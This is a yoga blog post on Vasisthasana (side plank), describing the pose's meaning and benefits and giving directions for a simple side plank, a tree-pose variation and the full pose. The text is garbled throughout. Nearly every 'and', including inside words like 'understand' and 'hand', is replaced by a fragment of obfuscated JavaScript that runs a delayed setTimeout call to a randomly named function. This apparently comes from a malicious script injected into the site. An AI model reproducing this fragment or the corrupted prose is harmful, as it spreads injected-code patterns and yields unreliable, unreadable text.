Asana Highlight: Vasisthasana

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Vasisthasana is such a great pose because it offers a beautiful mix of grounding andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and expansion. One that allows for prana energy to flow along your central energy channels andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and radiate from the heart center. I especially find this pose truly liberating andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and expressive this time as year as we’re still rooted andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and deeply connected to the comforts of our winter ‘hibernation’ but at the same time longing, pulling andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and stretching for the light andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and grace of springtime warmth.

Vasistha, in Sanskrit literally means “most excellent, best, richest” andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you can begin to understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and why when you’re in this pose. The feeling of holding yourself up on one arm andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and foot tuned into your body’s strength as you root down andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and simultaneously rise upward, is, just excellent!

This is a great pose because it can be done in so many ways so there is bound to be a variation that works for you. And because you are holding your body at a lateral angle, it causes the deep muscles of the core andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and spine to work at a unique angle.Once you build your strength andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the heart opening andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and expansive nature of this pose is mastered, a sense of joy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and freedom is sure to arise.

How to do Vasisthasana (andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and variations)

Simple side plank- Start in plank.  Shift your weight onto your right arm andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and foot. Rotate your torso, stack left foot on top of right, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and raise your left arm toward the ceiling. Look up at your left handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and. Stack right shoulder over right wrist, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and then ground down andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and press the outer edge of the right foot into the floor to lift your hips, which eventually will engage the core. Flex both feet. (option to lower right knee to the mat for extra support andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and stability)

Tree pose variation- From simple side plank, rotate your right foot to a slight 45 degree angle (toes toward the bottom corner or your mat) press into that foot -this will help to lift your hips high. Eventually, the entire foot should be grounding into the floor. Bend your left knee andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and place your foot on the upper thigh of your right leg (you can assist your leg with your handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and) toes pointing toward your right foot. Raise your left arm. Lift up andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and out of the right shoulder andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and relax the shoulder blades down your back. Belly in andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and up, lengthen your tailbone towards your right foot.

Full Vasisthasana- From tree pose variation, reach your left arm toward your left foot andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and grab your big toe with your peace fingers (yogi toe lock) Gently extend your foot toward the ceiling, straightening your leg as much as you comfortably can. Lift your hips, heart andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and especially your gaze, upwards (where you look, you will go!) Now extend your left heel toward the ceiling while pressing your entire right foot into the mat. Slightly claw your right fingertips into the mat andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and keep your core engaged.

Photo: Jacyn Fain
Directions: Jo Aldrich

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